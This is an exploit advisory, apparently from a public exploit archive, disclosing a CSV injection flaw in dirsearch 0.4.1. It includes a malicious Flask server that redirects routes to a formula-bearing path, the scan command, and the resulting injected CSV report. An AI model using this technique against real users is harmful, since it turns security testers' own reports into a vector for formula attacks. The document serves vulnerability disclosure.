dirsearch 0.4.1 CSV Injection

`# Exploit Title: dirsearch 0.4.1 - CSV Injection  
# Author: Dolev Farhi  
# Date: 2021-01-05  
# Vendor Homepage: https://github.com/maurosoria/dirsearch  
# Version : 0.4.1  
# Tested on: Debian 9.13  
  
dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.  
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.  
  
Malicious Flask Webserver:  
  
"""  
from flask import Flask, redirect  
app = Flask(__name__)  
  
@app.route('/')  
def index():  
return redirect('/test,=1336+1')  
  
@app.route('/admin')  
def admin():  
return redirect('/test,=1336+1')  
  
@app.route('/login')  
def login():  
return redirect('/test,=1336+1')  
"""  
  
  
2. Tester runs dirsearch  
root@host:~/# python3 dirsearch.py -u http://10.0.0.1 --csv-report=report.csv   
  
  
_|. _ _ _ _ _ _|_ v0.4.1  
(_||| _) (/_(_|| (_| )  
  
Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2  
  
Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log  
  
Target: http://10.0.0.1  
  
Output File: /root/tools/dirsearch/reports/10.0.0.1/_21-01-06_04-29-10.txt  
  
[04:29:10] Starting:   
[04:29:11] 302 - 233B - /admin -> http://10.0.0.1/test,=1336+1  
[04:29:11] 302 - 233B - /login -> http://10.0.0.1/test,=1336+1  
  
  
3. Result CSV  
  
root@host:~/# cat report.csv  
  
Time,URL,Status,Size,Redirection  
Wed Jan 6 04:29:11 2021,http://10.0.0.1:80/admin,302,233,http://10.0.0.1/test,=1336+1  
Wed Jan 6 04:29:11 2021,http://10.0.0.1:80/login,302,233,http://10.0.0.1/test,=1336+1  
  
`